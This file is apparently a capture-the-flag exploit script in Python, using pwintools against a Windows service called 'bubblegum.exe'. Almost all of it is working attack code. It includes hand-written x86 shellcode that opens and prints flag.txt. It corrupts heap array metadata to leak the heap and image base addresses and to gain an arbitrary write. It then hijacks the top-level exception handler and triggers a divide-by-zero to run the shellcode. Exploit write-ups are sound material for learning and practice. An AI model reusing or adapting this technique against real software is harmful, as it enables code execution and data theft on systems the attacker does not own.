from pwintools import *

DEBUG = False
if DEBUG:
    p = Process('./bubblegum.exe')
    #p.spawn_debugger(x96dbg = True, sleep = 3)
    #p.timeout = 1000000
else:
    p = Remote('localhost', 12345)

def menu(p, sel):
    p.recvuntil('Operation: ')
    p.sendline(str(sel))

def load_carr(p, tag, elem_count, elem_size, data):
    assert(elem_count * elem_size == len(data))
    menu(p, 1)
    carr = p32(tag) + chr(elem_count) + chr(elem_size) + data
    p.recvuntil('Serialized compact array: ')
    p.sendline(carr.encode('hex'))

def index_set(p, tag, idx, val):
    menu(p, 5)
    p.recvuntil('Compact array tag: ')
    p.sendline(str(tag))
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Value: ')
    p.sendline(str(val))

def range_set(p, tag, st, en, val):
    menu(p, 6)
    p.recvuntil('Compact array tag: ')
    p.sendline(str(tag))
    p.recvuntil('Start index: ')
    p.sendline(str(st))
    p.recvuntil('End index: ')
    p.sendline(str(en))
    p.recvuntil('Value: ')
    p.sendline(str(val))

def print_tag(p, tag):
    menu(p, 7)
    p.recvuntil('Compact array tag: ')
    p.sendline(str(tag))
    return p.recvline(False).decode('hex')

def print_all(p):
    menu(p, 8)
    return [carr.decode('hex') for carr in p.recvuntil('\r\nOperations:', True).split()]

def remove_tag(p, tag):
    menu(p, 9)
    p.recvuntil('Compact array tag: ')
    p.sendline(str(tag))

p.newline = '\r\n'

shellcode = '\x55\x89\xE5\x81\xEC\x20\x01\x00\x00\x53\xE8\x58\x01\x00\x00\x89\x45\xFC\x68\x73\x73\x00\x00\x68\x64\x64\x72\x65\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\x89\xE3\x53\x8B\x45\xFC\x50\xE8\x50\x01\x00\x00\x83\xC4\x18\x89\x45\xF8\x31\xDB\x53\x68\x46\x69\x6C\x65\x68\x4F\x70\x65\x6E\x89\xE3\x53\x8B\x45\xFC\x50\x8B\x45\xF8\xFF\xD0\x83\xC4\x0C\x89\x45\xF4\x31\xDB\x53\x68\x46\x69\x6C\x65\x68\x52\x65\x61\x64\x89\xE3\x53\x8B\x45\xFC\x50\x8B\x45\xF8\xFF\xD0\x83\xC4\x0C\x89\x45\xF0\x6A\x65\x68\x65\x46\x69\x6C\x68\x57\x72\x69\x74\x89\xE3\x53\x8B\x45\xFC\x50\x8B\x45\xF8\xFF\xD0\x83\xC4\x0C\x89\x45\xEC\x31\xDB\x53\x68\x6E\x64\x6C\x65\x68\x74\x64\x48\x61\x68\x47\x65\x74\x53\x89\xE3\x53\x8B\x45\xFC\x50\x8B\x45\xF8\xFF\xD0\x83\xC4\x10\x89\x45\xE8\x6A\x70\x68\x53\x6C\x65\x65\x89\xE3\x53\x8B\x45\xFC\x50\x8B\x45\xF8\xFF\xD0\x83\xC4\x08\x89\x45\xE4\x68\x65\x73\x73\x00\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x89\xE3\x53\x8B\x45\xFC\x50\x8B\x45\xF8\xFF\xD0\x83\xC4\x0C\x89\x45\xE0\x31\xDB\x53\x68\x2E\x74\x78\x74\x68\x66\x6C\x61\x67\x89\xE3\x31\xC0\x50\x8D\x85\xE0\xFE\xFF\xFF\x50\x53\x8B\x45\xF4\xFF\xD0\x83\xC4\x0C\x89\x45\xF4\x31\xDB\x53\x53\x68\x00\x01\x00\x00\x8D\x85\xE0\xFE\xFF\xFF\x50\x8B\x45\xF4\x50\x8B\x45\xF0\xFF\xD0\x6A\xF5\x8B\x45\xE8\xFF\xD0\x89\x45\xE8\x31\xDB\x53\x53\x68\x00\x01\x00\x00\x8D\x85\xE0\xFE\xFF\xFF\x50\x8B\x45\xE8\x50\x8B\x45\xEC\xFF\xD0\x68\xE8\x03\x00\x00\x8B\x45\xE4\xFF\xD0\x6A\x00\x8B\x45\xE0\xFF\xD0\x5B\xC9\xC3\x53\x55\x89\xE5\x64\x8B\x1D\x30\x00\x00\x00\x8B\x5B\x0C\x8B\x5B\x14\x8B\x1B\x8B\x1B\x8B\x43\x10\xC9\x5B\xC3\x55\x89\xE5\x53\x51\x52\x57\x56\x8B\x5D\x08\x8B\x4B\x3C\x01\xD9\x8B\x49\x78\x01\xD9\x8B\x51\x18\x8B\x79\x20\x01\xDF\x31\xF6\x31\xC0\x39\xD6\x73\x2D\xFF\x34\xB7\x01\x1C\x24\xFF\x75\x0C\xE8\x26\x00\x00\x00\x83\xC4\x08\x85\xC0\x74\x05\x31\xC0\x46\xEB\xE2\x8B\x79\x24\x01\xDF\x0F\xB7\x34\x77\x8B\x79\x1C\x01\xDF\x8B\x04\xB7\x01\xD8\x5E\x5F\x5A\x59\x5B\xC9\xC3\x55\x89\xE5\x53\x57\x56\x8B\x7D\x08\x8B\x75\x0C\x8A\x07\x8A\x1E\x84\xC0\x74\x08\x38\xD8\x75\x04\x47\x46\xEB\xF0\x28\xD8\x0F\xBE\xC0\x5E\x5F\x5B\xC9\xC3'

# code base leak 0x4
# CArr #0 0xc | CArr_Data #0 0x408 | CArr #1 0xc | CArr_Data #1 0x408
# CArr #2 0xc | CArr_Data #2 0x1a | CArr #3 0xc | CArr_Data #3 0x408
# CArr 'code' 0xc | CArr_Data 'code' 0x408
load_carr(p, 0, 0xff, 4, 'AAAA'*0xff)
load_carr(p, 1, 0xff, 4, 'BBBB'*0xff)
load_carr(p, 2, 0x7, 2, 'CC'*0x7)
load_carr(p, 3, 0xff, 4, 'DDDD'*0xff)
load_carr(p, u32('code'), 0xff, 4, shellcode.ljust(0xff * 4, '\xcc'))

# overwrite CArr #3 to tag 0x04fc04fc, elem_count 0xfc, elem_size 0x04
# carr_data loword 0x04fc, bound_lo 0x80000000, bound_hi 0x7ffeffff
range_set(p, 2, 0, -1, 0x04fc)
index_set(p, 1, 0x34, 0x80000000)
index_set(p, 1, 0x35, 0x7ffeffff)
custom_heap_leak = print_tag(p, 0x04fc04fc)
custom_heap_base = u32(custom_heap_leak[6:].lstrip('B')[0xc:0x10]) - 0x838
log.info('custom heap base: 0x{:08x}'.format(custom_heap_base))

# overwrite CArr #2 to tag 0xdeadbeef, elem_count 0xff, elem_size 0x04
# carr_data (custom_heap_base - 0x2)
index_set(p, 0x04fc04fc, 0xca + 0x0, 0xdeadbeef)
index_set(p, 0x04fc04fc, 0xca + 0x1, 0x000004ff)
index_set(p, 0x04fc04fc, 0xca + 0x2, custom_heap_base - 2)

# (carr_data*)(custom_heap_base + 4) bound_lo 0, bound_hi 0x7fff,
# data.count('\xff\x7f') + 1 == ((image base) >> 16)
range_set(p, 0xdeadbeef, 0, -1, 0x7fff0000)
index_set(p, 0x04fc04fc, 0xca + 0x2, custom_heap_base + 4)
image_base = (print_tag(p, 0xdeadbeef).count('\xff\x7f') + 1) << 16
log.info('image base: 0x{:08x}'.format(image_base))

# obtain arbitrary write at CArr #2 (or alternatively, we can just use CArr #3)
# overwrite CArr #2 to elem_count 0x01, elem_size 0x01,
# carr_data (custom_heap_base + 0x838), bound_lo 0x80000000, bound_hi 0x7fffffff
index_set(p, 0x04fc04fc, 0xca + 0x1, 0x00000101)
index_set(p, 0x04fc04fc, 0xca + 0x2, custom_heap_base + 0x838)  # restore CArr_Data to original position
index_set(p, 0x04fc04fc, 0xca + 0x3, 0x80000000)
index_set(p, 0x04fc04fc, 0xca + 0x4, 0x7fffffff)

# Overwrite TopLevelExceptionHandler with shellcode addr
shellcode_addr = custom_heap_base + 0xc7a
for i in range(4):
    index_set(p, 0xdeadbeef, image_base + 0x30d7c - (custom_heap_base + 0x840) + i, (shellcode_addr >> (8 * i)) & 0xff)

# set elem_size to zero, trigger div0
index_set(p, 0x04fc04fc, 0xca + 0x1, 0x000000ff)
range_set(p, 0xdeadbeef, 0, 0, 0)

print(p.recvuntil('}'))